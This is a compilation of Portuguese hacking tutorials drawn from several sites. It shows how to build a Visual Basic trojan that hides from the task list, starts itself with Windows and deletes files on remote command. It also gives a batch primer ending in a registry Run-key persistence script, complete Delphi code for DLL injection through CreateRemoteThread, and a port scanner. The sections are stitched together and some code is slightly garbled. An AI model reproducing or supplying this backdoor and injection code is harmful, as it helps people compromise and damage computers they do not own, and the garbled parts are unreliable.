Tópicos

00. O quê é um trojan?

01. O quê é preciso para criar um trojan?

02. Qual linguagem de programação utilizaremos?

03. Começando a programar

04. Exemplo básico de um trojan em Visual Basic

05. Palavras finais

00. O quê é um trojan?

Trojan é uma abreviatura de Trojan Horse (Cavalo de Tróia).

Tem esse nome pela semelhança com o cavalo de madeira usado

pelos troianos pra invadir a base de seus inimigos.

Vendo pelo lado da informática, é um programa que ouve em

uma porta do seu sistema e aguarda comandos de um cliente.

01. O quê é preciso para criar um trojan?

Um conhecimento bom em programação em qualquer linguagem.

Aconselho o uso de Delphi e Visual Basic p/ escrita de trojans

p/ Windows e C, Assembly ou LKM p/ escrita de trojans p/ Linux.

02. Qual linguagem de programação utilizaremos?

Visual Basic 5.0.

03. Começando a programar

Pra começar a programar você precisa saber umas coisas básicas.

Aqui vão elas:

* Conhecer bem uma linguagem de programação, aqui, no caso do

tutorial a utilizada é o Visual Basic 5.0 da Micro$oft.

* O trojan deve ficar oculto na lista de tarefas do Windows

(ctrl alt del)

* O trojan deve ouvir em uma porta TCP ou UDP e aguardar comandos.

* O trojan deve interpretar os comandos recebidos pelo cliente

e os executar na máquina infectada(servidor).

* O trojan deve se auto iniciar junto com o Windows, para isso você

pode usar uma chave no registro do Windows, autoexec.bat, win.ini

ou qualquer outro meio desde que o servidor se inicie com o Windows.

04. Exemplo básico de um trojan em Visual Basic

Crie um projeto no Visual Basic e adicione a Winsock no formulário

(Ctrl + T e marque a Microsoft Winsock Control 5.0)

Dê dois cliques no ícone da winsock na toolbox p/ adiciona-la

ao nosso formulário.

Dê dois cliques no formulário p/ entrarmos na Code Window

Pronto… estamos na Code Window. É aqui que faremos o nosso trojan.

Escreva isso:

Private Sub Form_Load()

Winsock1.LocalPort = “12345″

Winsock1.Listen

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock1.Close

Winsock1.Accept requestID

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim recebido As String

Winsock1.GetData recebido

If recebido = “deletar_autoexec” Then

Kill “C:\Autoexec.bat”

End If

End Sub

Explicando o código:

Winsock1.LocalPort = “12345″

* Configura a Winsock p/ ficar na porta 12345

Winsock1.Listen

* Coloca a Winsock em estado de espera(ouvindo) na porta 12345

Dim recebido As String

* Declara a variável “recebido” como String

Winsock1.GetData recebido

* Informa a Winsock que a variável “recebido” irá guardar

* todas as strings recebidas(enviadas pelo cliente)

If recebido = “deletar_autoexec” Then

Kill “C:\Autoexec.bat”

End If

* Esse código diz que se a variável “recebido” receber a string

“deletar_autoexec” o arquivo C:\Autoexec.bat será deletado.

O básico(muito básico mesmo!!!) de um trojan é isso…

05. Palavras finais

Bem… chegamos ao fim desse tutorial…

Pra programar um trojan é preciso muito mais que isso mais o

ponta pé inicial foi dado…

( material para fins educacionais, não nos responsabilizamos pelo uso indevido do mesmo)

Fonte: femedina.tripod.com

Introdução

Antes de tudo, indicar o porquê os processos são chamados batch. A razão por ele se chamar bat é porque no ms-dos requere-se como máximo três letras na extensão e por tanto os arquivos tem a extensão .bat

O que se pode fazer com eles?

Pode fazer de forma automatizada tudo aquilo que se pode fazer no console do ms-dos.

Como faça um arquivo bat?

Coloque em texto. Apenas decidir onde colocar, pode colocá-lo no bloco de notas ou algum editor ascii.

Ao guardá-los devem ter a notação de nomes próprios do ms-dos. Este nome com no máximo 8 letras (espaço e \ não são permitidos) logo um ponto e a extensão que neste caso é obrigatoriamente bat.

Como posso selecionar vários arquivos;

Para ele tem que se levar em conta os nomes dos arquivos, devem cumprir a notação do ms-dos (8 letras sem espaço como máximo, logo um ponto e três letras como máximo da extensão. Pode se utilizar os comandos;

*Equivale a vários caracteres.
?Equivale a apenas um caracter.

Exemplos

comando *.doc -> selecionar todos os arquivos que tenham a extensão doc.
comando a*.doc -> selecionar todos os arquivos que comecem por a e tenha a extensão doc.
comando a*b.doc -> selecionar todos os arquivos que comecem por a, acabem por b e tenham a extensão doc.
comando *mao*.doc -> selecionar todos os arquivos que contenham ‘mao’ e tenham a extensão doc.
comando c?mao.doc -> selecionar todos os arquivos que contenham ‘c’, logo um carater qualquer e logo ‘mao’. Deve ter tambem a extensão doc.
comando c?b*.* -> selecionar todos os arquivos que comecem por ‘c’, tenham um caracter qualquer, logo um b e qualquer extensão.
comando *.b?t -> selecionar todos os arquivos que tenham a extensão que comece por b, logo um caracter qualquer e logo um t.
Quem são as trajetórias e os patchs;

A trajetória é o nome completo de um arquivo e indica a situação exata de um arquivo e seu nome.

Se digo que o arquivo se chama arquivo.txt indico seu nome, mas nada mais. Se supoe que se encontra no diretório atual.

Se digo c:\arquivo.txt indico que o arquivo que me interesse se chama arquivo.txt e se encontra no diretório ráiz de C.

Dado que no ms-dos nao se admite nomes grandes ( mais de 8 letras ) nem espaço, quando quero utilizar o nome do windows em ms-dos devo saber que este será reconvertido em seu nome curto. Este se obtem os seis primeiros carácteres válidos do nome, logo o sinal ~ (alt 126) e logo um número.

Que comandos podemos utilizar;

Comandos;

Aqui estão alguns comandos utilizados em batch.

ECHO [mensagem ou variável]

Escreve na tela

ECHO OFF

Desativa as informações e confirmações feitas pelo sistema. Como “C:>”, “Tem certeza que deseja fazer tal?”….

ECHO ON

Ativa as informações e confirmações do sistema.

ECHO.

Pula uma linha

SET variavel=valor

Cria ou modifica uma variável (espaço reservado temporariamente na memória RAM para guardar algumas informações númericas, de caractéres, positivo/negativo entre outros. Não podem ter acento e devem começar com letra). Para chamar a variável posteriormente basta coloca-la entre “%”.

Por exemplo:

SET nome=Storm
ECHO O nome dele é %nome%

:nomedolink

Nomeia um ponto do arquivo de lote permitindo avançar ou voltar a execução apartir daquele ponto.
CLS
Esse comando limpa toda a tela. CLear Screen.

@[Comando]

Desativa as informações e confirmações feitas pelo sistema apenas para esta linha.

CODE
IF [condição] (
[ação]
) ELSE (
[ação2]
)

Esse é um comando condicional. “Se condição faça ação, senão faça ação2″.

Por exemplo:

CODE
@ECHO OFF
SET nome=Storm
IF “%nome%”==”Storm” (
ECHO Ola Storm!
) ELSE (
ECHO Ola %nome%!

)
GOTO [ponto]

Avança ou volta a execução para um ponto do arquivo de lote.

FOR /L %%variavel IN (inicio,incremento,fim) DO comando [parâmetro]

Repete um comando varias vezes fazendo incrementações até o fim ser atingido.

/L, é uma opção do comando FOR que faz as incrementações.
%%variavel, é o nome da variável que vai ser incrementada.
inicio, é o valor de inicio da variável que será incrementada.
incremento, número que será somado a cada incrementação.
fim, a repetição irá acabar quando o valor da variável atingir este valor.
comando, um comando que será repetido.
[parâmetro], o parâmetro do comando que será repetido.

Por exemplo:

CODE
@ECHO OFF
FOR /L %%a IN (1,1,5) DO ECHO O valor de A é %%a

PAUSE

Faz uma pausa e só volta quando o usuário apertar alguma tecla do teclado.
REM [comentário]

Este comando não faz absolutamente nada. Ele é utilizado para inserir comentarios nos arquivos.

CODE
PROMPT ->Serve para abrir o prompt do msdos. O mais habitual é $p$g que corresponde a;

$p = mostrar trajeto atual
$g = mostrar o separador >
$l = mostrar o separador <
$b = mostrar o separador |
$q = mostrar o separador =
$$ = mostrar o sinal $
$t = mostrar a hora
$d = mostrar a data
$v = mostrar a versão do sistema
$n = mostrar unidade atual
$h = retroceso. Apaga o caracter previo
$e = esc. Mostra o sinal corresponde a asci 27

Por isso se colocarmos prompt $p$g o cursor mostra a tragetória de onde estamos e logo o separador. É possível o texto ( por exemplo prompt Meu_nome $p$g

DATE
Ver/por a data do sistema

TIME
Ver/por a hora do sistema

VER[/font]
Versão do sistema
[font=Verdana]VOL unidade
Volume da unidade especificada

MEM parametros
Mostra a memoria usada e livre no sistema
/p -> mostra por programas
/d -> por programas econtroladores
/c -> classifica por tamanho

Comandos de manejos de arquivos

COPY origem destino
Serve para copiar arquivos de um lugar a outro. A origem deve ser um trajeto completo de onde estão os arquivos a copiar. Se se omite se entende no diretório atual.

O destino deve ser uma trajetória completa de onde desejar o/os arquivo(s)
copy meuarquivo.txt c:\ (copiá-lo do diretorio raíz de C)
copy meuarquivo.txt c:\meuarq.txt (copiá-lo e poder mudar o nome a meuarq.txt)
copy *.txt a:\ (copiar todos os arquivos que tenham a extensão txt a unidade A)
copy *.txt c:\meusdo~1 (copiar todos os que tenham a extensão txt ao diretório Meus documentos ( cujo o nome curto é meusdoc~1).

DEL arquivo(s)

Apagar arquivos selecionados

del lol.txt (apaga o arquivo lol.txt no diretório atual)
del c:\lol.txt (apaga o arquivo lol.txt que se encontra no c:\)
del arquiv~1\*.*(apaga os arquivos que se encontram no diretório ‘Arquivos de programa’ cujo nome curto é arquiv~1( não se apaga as subpastas)

DELTREE arquivo(s) -y

Apaga a raíz especificada ( se é um arquivo coloca o arquivo, se é uma pasta coloca a pasta com todas as subpastas que incluam).
Com o parametro -y não pergunta cada vez
Este comando na realidade não é um comando sim uma utilidade incluída no ms-dos.

DIR trajeto

Mostra uma lista do conteúdo do diretório especificado no trajeto. Se não especificado nada, se entende o atual.
Se coloca como parametro /W mostra uma lista resumida
Se coloca como parametro /P mostra uma lista utilizando o filtro more.

ATTRIB arquivo(s)-> Mostra os arquivos dos diretórios indicados e nesse caso permite mudá-los.

os atributos são:

H -> oculto. Se ativa com +h e desativa com -h
R -> Leitura. Apenas leitura com +r, normal com -r
S -> Sistema. Se ativa com +s e desativa com -s
A -> Modificado. Para copias de segurança incrementadas. +a indica modificado e -a indica não modificado.
Attrib arquivostorm.txt (mostrar os atributos do arquivostorm.txt)
attrib *.exe +r +r +s (coloca todos os arquivos com extensão exe como ocultos, do sistema e a apenas lê)

RENAME o REN nome1 nome2
Mudar o nome do arquivo
Ren nome1.txt nome2.txt

TYPE arquiivo
Mostra por pasta o conteúdo do arquivo;
type nomedoarquivo.txt

* Todos aqui listados são comandos de MS-DOS que foram criados especificamente para arquivos de lote. Se você precisar de mais detalhes sobre cada um deles basta digitar no MS-DOS (ou no prompt de comando do Windows) [comando]/? Todos comandos de MS-DOS também entram nesta lista incluindo chamadas de outros programas para este sistema.

Comandos para programação

EDIT arquivo

Editor de textos utilizado para editar scripts e arquivos de texto.

DEBUG arquivo parametros de arquivo
Inicia o desassembler com o programa indicado que se colocam por parametros.

CHOICE texto opções

Se utiliza em programas bat para dar elegir a um usuario entre um conjunto de opções
A resposta se devolve mediante a variável errorlevel
choice Eleja uma opçao snc

CODE
if errorlevel 1 goto …
if errorlevel 2 goto …
if errorlevel 3 goto …

Este exemplo mostra a lateral “eleja uma opção e da a elejer s (sim), n (não) o C (continuar) por exemplo as tres seguintes linhas especificam aonde deve sair o fluxo do programa seguido da tecla pulsada.

Variáveis

A condição DEFINED verifica se uma variável já foi definida. Por exemplo, se a variável “x” estiver definida, então o resultado será positivo, senão negativo.
Veja como ficaria:

CODE
@ECHO OFF
IF DEFINED x ( ECHO Positivo ) ELSE ( ECHO Negativo )

Arquivos

A condição EXIST verifica se existe algum arquivo. Por exemplo, se existir o arquivo “exemplo.bat” o resultado será positivo, senão negativo.
Veja como ficaria:

CODE
@ECHO OFF
IF EXIST exemplo.bat ( ECHO Positivo ) ELSE ( ECHO Negativo )

Esta condição não para por aí. No sistema MS-DOS, você pode fazer uma “pesquisa” na pasta em que está por um arquivo digitando parte dele. Você usa “*” para indicar a(s) parte(s) que você não sabe. Por exemplo, se existir algum arquivo com a extensão “.bat” na pasta atual o resultado será positivo, senão negativo.
Veja como ficaria:

CODE
@ECHO OFF
IF EXIST *.bat (ECHO Positivo ) ELSE ( ECHO Negativo )

X é igual a 6?

@ECHO OFF
CLS
SET X=6
IF “%X%” == “6″ GOTO ok
ECHO X não é igual a 6, X é igua a %X%
GOTO saida
:o k
ECHO X é igual a 6
:saida

Na primeira linha. O “@” indica que não é para aparecer o comando que segue, no caso, “ECHO” (Comando que escreve na janela). Nesta linha, eu estou grosseiramente mandando o MS-DOS calar a boca (não falar nada sem eu mandar), pois se ECHO faz o computador “falar”, ECHO OFF faz o computador “desligar a boca” e com o @ no começo da linha, ele nem vai informar ao usuário que está parando de falar.
Na segunda linha, o comando CLS faz o MS-DOS apagar toda a tela.
Na terceira linha, como já foi explicado, faz a variável X=6.
Na quarta linha, é uma linha condicional. Se “X” for igual à 6 vá para “ok”.
Na quinta linha, é óbivio que X não vai ser igual a 6, então o MS-DOS vai “falar” X não é igual a 6, X é igua a [valor de x].
Na sexta linha, ele irá para o ponto “saida” porque o resto é feito se X for igual a 6.
Na sétima linha, está sendo definido o ponto “ok”, aquele ponto citado na quarta linha.
Na oitava linha, X será igua a 6, então o MS-DOS vai dizer X é igual a 6.
E na nona linha, é definido o ponto-final do processamento. Que é chamado na sexta linha, nada mais que isso, então o MS-DOS entende que o batch concluiu.

Faça o teste

1. Abra o Bloco de notas do Windows;
2. Copie o exemplo acima e cole nele
3. Salva-o como exemplo2.bat;
4. Dê dois-clicks nele observe o que acontecerá;
5. Agora experimente modificar a segunda linha por SET idade=n (troque n por algum número);
6. Execute e veja o que acontece.

Programando;

Existe uma infinidade de comandos, como mostrei acima, e só usar a imaginação e podemos programar uma imensidão de finalidades, basta usar a criatividade e alguns comandos, para fechar esse tutorial, vou abordar alguns códigos feito por mim.

Exemplo 1 (Básico)

-fazer um loop que pegue todos os nomes dos diretorios
-dentro de cada diretorio, renomear todos os arquivos com a extensão .txt para .zip

CODE
@echo off
rem *.txt *.zip
@exit

Exemplo 2 (Intermediário/Avançado)

CODE

@echo off

cls

Echo Batch feito por Storm
Echo .
Echo .
Echo Começar o programa?
pause
Echo .
Echo .
Echo .
Echo Este programa cria uma chave de inicializaçao de um arquivo no windows através do menu.
Echo .
Echo .
Echo [1] Deseja que esse arquivo se inicie no seu proximo logon?
Echo [2] Deseja sair do programa?

Set /p choice=Digite o numero correspodente a sua opçao:

if “%choice%”==”2″ goto op2
if “%choice%”==”1″ goto op1

rem Bloco de declaraçao dos gotos

p1 reg add “hklm\Software\Microsoft\Windows\CurrentVersion\Run” /v teste2 /t REG_SZ /d c:\path\batstorm.bat&goto proximo

p2 exit

:proximo
Echo .
Echo .
Echo Chave criada com sucesso.
Echo .
Echo .
Echo Agora mostrarei a chamada de um outro arquivo bat sem a interrupção do arquivo.

Echo [1] Deseja chamar o arquivo batstorm.bat?
Echo [2] Deseja sair do programa?

Set /p choice=Digite o numero correspondente a sua opçao:

if “%choice%”==”2″ goto op3
if “%choice%”==”1″ goto op4

p3 call batstorm.bat&goto proximo2

p4 exit

Fonte: desvendandonovoshackers.wordpress.com

Fonte: juliobattisti.com.br

Visto que é algo muito útil e um pouco complicado estarei postando como fazer passo a passo.
Então vamos começar.

Dica:
Para quem não esta acostumado e sequer sabe sobre manipulação de memória recomendo que de uma boa lida em artigos sobre manipulação de memória para que haja uma facilidade de entendimento ao seguir a leitura do tutorial.

O que é Code Injection?
Code injection nada mais é do que injetar uma DLL e fazer com que o processo remoto execute a tal função.
Para fazer isso precisaremos de uma DLL que a função em seja exportada
Ex:no delphi o fim do código seria

exports
FazerExitProcess;

Outro detalhe importante é que precisaremos de privilégios necessários.Para evitar quaisquer eventuais problemas, definiremos o privilégio como o de debug e tambem depois de executada a rotina, não temos mais porque deixar os parâmetros utilizados na execução da mesma no target, isso só iria ocupar espaço, então nós liberaremos toda a memória escrita no processo remoto.

Preparando um Code Injection

Antes de mais nada precisaremos de uma estrutura para os parâmetros do nosso Code Injection então declare
a seguinte type no seu form.

type
TInjectParams = record
LoadLibrary: function (lpLibFileName: PAnsiChar): Cardinal; stdcall;
LibName: PAnsiChar;
GetProcAddress: function (hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall;
ProcName: PAnsiChar;
end;
PInjectParams = ^TInjectParams;

Com essa estrutura,o usuário no final do code injection só precisará de pegar o Process ID(PID) do processo,Portanto declare na uses da sua unit a biblioteca TlHelp32 e nas funções declare a seguinte função.

function GetProcess(proc: string): Cardinal;
var
Snap: THandle;
pe: TProcessEntry32;
begin
Snap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if Snap = 0 then Exit;
if Process32First(Snap,pe) then
begin
repeat
if proc = pe.szExeFile then
begin
Result:=pe.th32ProcessID;
break;
end;
until not Process32Next(Snap,pe)
end
end;

Como ja foi dito,nós precisaremos escrever na memória do processo remoto,portanto é necessário alocar a memória para a escrita,para facilitar vamos declarar as funções.

function WriteString(Process: Cardinal; s: string): Pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, length(s) + 1, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result , pchar(s), length(s) + 1, bytes);
end;

function WriteData(Process, dwSize: Cardinal; RemoteData: pointer): pointer;
var
bytes: Cardinal;
begin
Result:=VirtualAllocEx(Process, nil, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, RemoteData, dwSize, bytes);
end;

Com quase tudo pronto nós precisaremos de uma função para executar o código no processo remoto então declare mais essa função também.

procedure RemoteFunction(Parametros: PInjectParams); stdcall;
var
proc: procedure; stdcall;
begin
proc:=Parametros^.GetProcAddress(Parametros^.LoadLibrary(Parametros^.LibName),Parametros^.ProcName);
proc;
end;

Agora precisaremos de um método para saber o tamanho dessa rotina descrita acima, pois na hora de escrevê-la no target é necessário por o tamanho. Para isso faremos outro método logo abaixo desse, e depois é só pegar o endereço dele e subtrair do endereço da rotina “RemoteFunction”.
Então declare o procedimento :

procedure RemoteFunctionEnd; stdcall;
begin;
end;

E como ja foi dito nos precisaremos de privilégios de DEBUG então declare a função.

procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean);
var
NewState: TTokenPrivileges;
luid: TLargeInteger;
hToken: THandle;
ReturnLength: DWord;
begin
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken);
LookupPrivilegeValue(nil, szPrivilege, luid);

NewState.PrivilegeCount := 1;
NewState.Privileges[0].Luid := luid;
if (fEnable) then
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
NewState.Privileges[0].Attributes := 0;

AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, ReturnLength);
CloseHandle(hToken);
end;

Pronto, agora só falta montar a função final, mas depois de tudo isso, para quem realmente entendeu a lógica fica fácil.

pprocedure Inject(process, dll, code: string);
var
PID, hProcess, ThreadId, ThreadHandle: Cardinal;
RemoteData,RemoteFunc,LibFileName,ProcName: pointer;
Parametros: TInjectParams;
begin
//Pega o Handle do processo
PID:=GetProcess(Process);

//Seta o privilégio de debug
ChangePrivilege(‘SeDebugPrivilege’, True);

//Abre o processo
hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, PID);

//Define os parâmetros que serão usados para executar a procedure
LibFileName:=WriteString(hProcess, dll);
ProcName:=WriteString(hProcess, code);
Parametros.LoadLibrary:=GetProcAddress(GetModuleHandle(‘kernel32′), ‘LoadLibraryA’);
Parametros.LibName:=LibFileName;
Parametros.GetProcAddress:=GetProcAddress(GetModuleHandle(‘kernel32′), ‘GetProcAddress’);
Parametros.ProcName:=ProcName;

//Abre um novo espaço de memória para guardar os parâmetros
RemoteData:=WriteData(hProcess, sizeof(Parametros), @Parametros);

//Abre um novo espaço de memória para guardar a procedure
RemoteFunc:=WriteData(hProcess, integer(@RemoteFunctionEnd) – integer(@RemoteFunction), @RemoteFunction);

//Cria a thread que executará a procedure
ThreadHandle:=CreateRemoteThread(hProcess, nil, 0, RemoteFunc, RemoteData, 0, ThreadId);
WaitForSingleObject(ThreadHandle, 3000);

//Libera as alocações de memórias criadas
VirtualFreeEx(hProcess,LibFileName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,ProcName,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteFunc,0,MEM_RELEASE);
VirtualFreeEx(hProcess,RemoteData,0,MEM_RELEASE);
end;

Agora chegou a parte que você ira realizar o code injection.
Como ja foi dito precisaremos de uma DLL com uma função que seja exportada então salve todo o seu projeto e crie um novo projeto de DLL.vou mostrar como ficou a minha dll de testes

library testdll;

uses
Windows,
SysUtils,
Classes;

{$R *.res}

procedure MsgBox;
begin
MessageBox(0,’Funcionou’,'Code Injection bem sucedido’,MB_OK+MB_ICONINFORMATION);
end;
exports
MsgBox;
begin
end.

Então agora é só no seu projeto do Injector você usar a função.

Inject('notepad.exe','C:\Dev\CodeInjection\testdll\testdll.dll','MsgBox');

Agora pra quem não entendeu direito,ou não quer nem ler e quer tudo pronto eu coloquei um link com a source do injector e da testdll
http://www.4shared.com/file/101714263/63913ea/CodeInjection.html

Créditos: R0DR1G0.

Port Scanner

Port Scanner é um programa capaz de varrer um sistema, remoto ou local, a procura de portas abertas. Estas portas por sua vez, quando abertas, podem estar disponibilizando alguns serviços para utilização remota e é fundamental para qualquer administrador de rede (segurança) ou “usuário malicioso” (cracker) saber quais portas estão sendo utilizadas pelo sistema, tanto para a proteção, pelo lado do administrador, quanto pela invasão, pelo lado do cracker.

Saber quais portas estão abertas no sistema e quais serviços estão ativos nestas portas é muito importante, pois é o passo principal para qualquer invasão de sistema. É sabendo qual serviço está ativo em uma porta que se pode começar a verificar se este serviço em questão é vulnerável a alguma técnica de exploração conhecida, como explorá-la, como ganhar acesso ao sistema, etc.

Como funciona?

Teoricamente o funcionamento de um Port Scanner é bem simples. Basicamente ele tenta se conectar com o servidor desejado em uma porta desejada. Se a conexão for estabelecida, o programa imprime uma mensagem para o usuário confirmando o estado da porta testada como “Aberta”. Caso a conexão não se estabeleça, a mensagem de “Porta Fechada” é enviada. Bem simples não? Pois é, porém, com a incrível capacidade intelectual dos Hackers, algumas outras formas de Port Scanner foram desenvolvidas a partir da dificuldade de detecção do scanner pelo lado dos Administradores de Redes. O método que desenvolveremos no nosso programa é o TCP Full Connect, ou seja, uma conexão TCP completa com o servidor em questão. Este método é o mais primitivo e também o mais fácil de ser detectado pelo administrador, porém como o nosso artigo não tem o intuito de formar Cracker de sistemas, este método é mais que o necessário para você se inteirar sobre como construir um Port Scanner no Delphi. Outras formas de Port Scanner são:

* TCP SYN ( Half Open ): Este já é um método mais complexo de Port Scanner, pois não abre uma conexão TCP completa com a máquina alvo e se torna assim mais difícil de se identificar um scanning deste tipo. O que programas deste tipo fazem é enviar uma pacote SYN para a máquina alvo. Caso seja recebido um pacote SYN-ACK, significa que a porta está aberta. Porém, caso seja recebido um pacote RST, indica que a porta está fechada. Após este processo, o programa exibe para o usuário o estado da porta e prossegue em sua verificação.
* TCP FIN: Este é o método mais apreciado pelos atacantes, pois é chamado de modo STEALTH, ou invisível, não sendo detectado pelos sistemas de defesa. Consiste em enviar um pacote FIN para a porta alvo. Caso o pacote recebido seja um RST, indica que a porta está fechada, mas caso o pacote FIN seja ignorado, significa que a porta está aberta.
* UDP SCAN: Neste método são enviados pacotes UDP de 0 bytes para cada porta alvo. Caso seja recebida a mensagem “ICMP port unreachable”, indica que a porta está fechada. Caso contrário, o programa imprime a mensagem alegando a porta como em estado de aberta.

TCP Full Connect no Delphi

Criar um Port Scanner TCP Full Connect do Delphi é relativamente simples. O Delphi já vem com alguns componentes para a criação e utilização de sockets. Ele provê uma enorme gama de componentes para criação de Clientes FTP, Telnet, Finger, Web, POP, SMTP, servidores HTTP, etc.

Para a criação deste tipo de Port Scanner, o TCP Full, utilizaremos o componente chamado TTCPClient, que fica localizado na paleta Internet. É com este componente que será possível se conectar com um endereço especificado nas portas pré-definidas para a verificação de seus estados (aberta ou fechada).

No componente TTCPClient temos as seguintes propriedades que são as fundamentais para o entendimento do funcionamento do nosso port scanner. As propriedades de nosso interesse são:

* RemoteHost = Esta propriedade define o endereço do servidor que se deseja conectar.
* RemotePort = A porta que se deseja conectar. Esta porta poderá ser alterada diversas vezes durante a execução do Port Scanner, pois é justamente esta capacidade que torna o programa funcional.
* Connect = Conecta o TTCPClient com o servidor definido na propriedade RemoteHost com a porta definida em RemotePort.
* Disconnect = Desconecta o TTCPClient do servidor.

Com estas propriedades já podemos iniciar a construção do nosso programa.

Criando a Interface do Port Scanner

Inicie o Delphi e crie um novo projeto chamado psc.dpr (a unit você poderá salvar como unit_psc.pas). No formulário inicial que abrir, mude as seguintes propriedades do Form1 no ObjectInspector como seguem abaixo:

* Caption = Port Scaner v1.0b
* BorderStyle = bsToolWindow
* WindowState = Normal

Após estas modificações o antigo Form1 ficará desta forma:

Post Scanner
Fig.1 – form1 do Port Scanner

Agora, neste nosso formulário, adicionaremos os seguintes componentes que serão os responsáveis pela interação do Port Scanner com o usuário.
Quantidade Tipo
5 TLabel
1 TEdit
2 TSpinEdit
1 TMemo
1 TTCPClient
2 TButton

Após a adição destes componentes, altere as propriedades dos mesmos para as que seguem abaixo:

Componente Propriedade Conteúdo
Tlabel1 Caption Servidor
Tlabel2 Caption Porta Inicial
Tlabel3 Caption Porta Final
Tlabel4 Caption Verificando a porta:
Tlabel5 Caption 0
TspinEdit1 Name Inicio
TspinEdit2 Name Fim
Tmemo1 Name Listagem
Tbutton1 Caption Iniciar
Tbutton2 Caption Parar
Tedit1 Text endereco

Com estas modificações, arrume os componentes no formulário para que fiquem mais ou menos com esta Interface:

Port Scanner 2
Fig.2 – Nova form1 do Port Scanner

Neste ponto, falta muito pouco para o nosso Port Scanner ficar pronto. Temos agora que programar o funcionamento do nosso programa para que ele seja funcional e corresponda às nossas expectativas.

Programando os componentes

Nesta parte da nossa criação iremos adicionar programação aos componentes utilizados no programa para que este realmente funcione. Iremos começar da seguinte maneira:

* vamos cria uma variável global que será a responsável por parar a execução da verificação no servidor remoto quando o usuário clicar no botão Parar.
* No código fonte do programa vamos adicionar, na sessão correspondente as variáveis globais, a nossa variável Stop.

...
Var
Form1: TForm1;
Stop: integer;  // a nossa variável entra aqui!

Implementation
…

Agora iremos inserir a programação no nosso botão correspondente ao início da varredura de portas no servidor remoto, o nosso botão Iniciar. Dê um duplo clique neste botão para inserirmos o código responsável pelo seu funcionamento.

O código responsável é o que segue abaixo:

Var i : integer;
Begin
Try

Listagem.clear;
Stop:= 0 ;
TCPClient1.remotehost:=edit1.text;
For I:= inicio.value to fim.value do
Begin
If Stop = 1 then break;

Label5.caption:=inttostr(i);
Application.ProcessMessages;
TCPCLiente1.remoteport:= inttostr(i);
TCPClient.Active:=true;

If TCPClient1.connect then
Listagem.lines.add(‘A Porta ['+ inttostr(i)+ '] está aberta.’);
TCPClient1.disconnect;
End;

Except
On E:Exception do Begin
Listagem.lines.add(‘Erro: ‘ + E.Message);
End;
End;

Listagem.lines.add(‘Verificação Terminada.’);

End;

Feita a adição do código responsável pelo funcionamento do nosso botão Iniciar, resta-nos agora adicionar o código relativo ao botão Parar, para que depois possamos analisar as linhas de código do nosso programa Port Scanner.

Para adicionar a programação ao nosso botão Parar, dê um duplo clique no mesmo e adicione o código abaixo:

Stop:=1;

Pronto! A codificação do nosso programa está terminada e ele já está pronto para ser executado. Mas, antes disto, vamos analisar a programação.

Entendendo o Código

Como podemos ver, foi bem simples a construção da interface do programa assim como a adição de seu código-fonte. Vamos agora entender as linhas de código adicionadas e as suas respectivas funções.

Na parte de programação referente ao nosso botão Iniciar temos inicialmente a linha:

Var i: Integer;

Esta linha corresponde à criação da variável i, que será a responsável por auxiliar no loop For para a contagem das portas a serem verificadas.

A seguir, na linha:

Listagem.clear;

limpamos o nosso Tmemo1.

Na linha:

Stop:=0;

Iniciamos o valor desta variável para 0, pois desta forma o programa continuará a varredura através das portas selecionadas pelo usuário até que o loop For acabe ou que o usuário pressione o nosso botão Parar.

Em

TCPClient1.Remotehost:=Edit1.text;

repassamos para a propriedade RemoteHost do nosso TTCPClient o conteúdo do componente Edit1.text, que será o servidor repassado pelo usuário.

Temos então o início do loop For baseado nas portas Inicial e Final escolhidas pelo usuário nos componentes TspinEdit.

For i:= inicio.value to fim.value do

A seguir, verifica-se se o botão Parar foi acionado, solicitando o cancelamento da verificação ( loop ).

If Stop=1 then break;

Agora, exibimos na Interface a porta que está sendo verificada no momento

Label5.caption:=inttostr(i);

Pedimos ao sistema operacional que processe as informações do programa, evitando assim que o mesmo não tenha o efeito de congelamento evidente.

Application.ProcessMessages;

Agora, nas linhas a seguir, definimos para a propriedade RemotePort o nosso TCPClient1 qual porta devera ser verificada no momento, depois ativamos o nosso TCPClient1 e, em seguida, verificamos se foi obtido sucesso.Caso o sucesso seja obtido, adicionamos no nosso Memo1 uma linha contendo a porta que foi encontrada com o estado de aberta. Depois, independente do estado da porta, pedimos sua desconexão.

TCPCLient1.remoteport:= inttostr(i);
TCPClient.Active:=true;

If TCPClient1.connect then
Listagem.lines.add(‘A Porta ['+ inttostr(i)+ '] está aberta.’);
TCPClient1.disconnect;
End;

Em seguida, terminamos o loop e tratamos todas as exceções que possam ocorrer entre os blocos protegidos try.

Except
On E:Exception do Begin
Listagem.lines.add('Erro: ' + E.Message);
End;
End;

Por fim, escrevemos no nosso Memo1 a mensagem de que a verificação foi terminada e finalizamos a execução do programa.

Listagem.lines.add('Verificação Terminada.');

End;

Para concluir, no nosso botão Parar temos a linha de código:

Stop:=1;

Esta linha é responsável por colocar o valor 1 na variável Stop, para que quando o usuário clique no botão Parar, o loop de verificação das portas pare graças ao trecho de código do botão Iniciar abaixo:

If Stop=1 then Break;

Concluindo

Bem pessoal, agora é só salvar todo o projeto e executá-lo. Faça testes em algum servidor que você tenha acesso e/ou saiba que não irá prejudicar ninguém e muito menos incomodar. Vale relembrar que, se deu tudo certo com o seu Port Scanner, você tem uma ferramenta poderosíssima nas mãos e cabe a você usá-la de forma segura e principalmente com intuitos educacionais.

SOBRE O AUTOR

